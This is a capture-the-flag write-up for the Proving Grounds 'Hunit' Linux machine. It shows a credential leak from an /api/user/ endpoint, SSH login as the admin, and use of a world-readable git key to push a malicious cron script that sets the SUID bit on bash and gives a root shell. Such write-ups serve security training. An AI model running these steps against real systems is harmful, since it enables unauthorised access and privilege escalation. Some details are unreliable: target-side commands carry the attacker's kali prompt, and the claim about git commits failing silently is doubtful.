Skip to content

Hunit Writeup - Proving Grounds

Intermediate Linux

Created October 8, 2026 • Last updated October 8, 2026 • 3 min read

Hunit exposes a "My Haikus" Spring Boot application whose /api/user/ endpoint dumps every user's credentials in plaintext. One of those accounts, an admin, has SSH access directly. Root comes from a cron job that pulls a bare git repository and executes a script from it as root, and the git user's SSH key is left world-readable.

Reconnaissance

Nmap

Scan all ports to find the full service list, since SSH is not on its default port.

┌──(kali㉿kali)-[~]
└─$ sudo nmap -p- -sCV $TARGET_IP
PORT      STATE SERVICE
8080/tcp  open  http-proxy
12445/tcp open  netbios-ssn
18030/tcp open  http
43022/tcp open  ssh
Explain command
-p- Scan all 65535 TCP ports.
-sCV Run the default scripts and probe service versions.

Four non-standard ports: a web app on 8080, Samba on 12445, a second web server on 18030, and SSH on 43022. The app on 8080 is the obvious target.

Web enumeration

Fingerprint the application on port 8080.

┌──(kali㉿kali)-[~]
└─$ whatweb http://$TARGET_IP:8080
[200 OK] Title[My Haikus], JQuery

My Haikus is a haiku blog built with jQuery and an HTML5 UP template, backed by a Spring Boot API. Spring Boot apps commonly expose REST endpoints under /api/, so probe for one.

Exploitation

Plaintext credential leak via /api/user/

Request the endpoint with a trailing slash, since /api/user without one returns 404.

┌──(kali㉿kali)-[~]
└─$ curl -s http://$TARGET_IP:8080/api/user/
[
  {"role":"Editor","login":"rjackson","password":"<snip>"},
  {"role":"Editor","login":"jsanchez","password":"<snip>"},
  {"role":"Admin","login":"dademola","password":"$DADEMOLA_PASSWORD"},
  {"role":"Editor","login":"jwinters","password":"<snip>"},
  {"role":"Editor","login":"jvargas","password":"<snip>"}
]

The endpoint returns every user's role, login and password in plaintext, including the admin account dademola. SSH is reachable on the non-standard port found during the scan.

┌──(kali㉿kali)-[~]
└─$ ssh -p 43022 dademola@$TARGET_IP
dademola@hunit:~$ id
uid=1001(dademola) gid=1001(dademola) groups=1001(dademola)

Shell as dademola.

Privilege Escalation

Git repository cron job

A backup of the crontab reveals two root cron jobs tied to a bare git repository.

┌──(kali㉿kali)-[~]
└─$ cat /etc/crontab.bak
*/3 * * * * /root/git-server/backups.sh
*/2 * * * * /root/pull.sh

pull.sh pulls updates into the working copy of the /git-server bare repository every 2 minutes, and backups.sh runs the pulled script every 3 minutes, both as root. The git user's SSH key is world-readable.

┌──(kali㉿kali)-[~]
└─$ ls -la /home/git/.ssh/
-rwxr-xr-x 1 root root 2590 Nov  5  2020 id_rsa

Clone the repository with that key, replace backups.sh with a payload that sets the SUID bit on bash, and push the change.

┌──(kali㉿kali)-[~]
└─$ cd /tmp
┌──(kali㉿kali)-[~]
└─$ GIT_SSH_COMMAND='ssh -i /home/git/.ssh/id_rsa -p 43022 -o StrictHostKeyChecking=no' git clone git@127.0.0.1:/git-server
┌──(kali㉿kali)-[~]
└─$ cd git-server
┌──(kali㉿kali)-[~]
└─$ git config user.email "dademola@hunit"
┌──(kali㉿kali)-[~]
└─$ git config user.name "dademola"
┌──(kali㉿kali)-[~]
└─$ printf '#!/bin/bash\nchmod +s /bin/bash\ntouch /tmp/pwned\n' > backups.sh
┌──(kali㉿kali)-[~]
└─$ git add backups.sh
┌──(kali㉿kali)-[~]
└─$ git commit -m "update"
┌──(kali㉿kali)-[~]
└─$ GIT_SSH_COMMAND='ssh -i /home/git/.ssh/id_rsa -p 43022 -o StrictHostKeyChecking=no' git push origin master
Enumerating objects: 4, done.
To 127.0.0.1:/git-server
   a1b2c3d..e4f5a6b  master -> master

Git requires user.email and user.name before it will commit, otherwise the commit silently fails and push reports nothing to do. Wait for the cron job to pull and execute the modified script, then check for the SUID bit.

┌──(kali㉿kali)-[~]
└─$ ls -la /bin/bash
-rwsr-sr-x 1 root root 1037528 Jan  1  2020 /bin/bash

The cron job ran as root and set the SUID bit. Spawn bash with -p to keep the elevated privileges.

┌──(kali㉿kali)-[~]
└─$ /bin/bash -p
bash-5.0# id
uid=1001(dademola) gid=1001(dademola) euid=0(root) egid=0(root)

Effective root.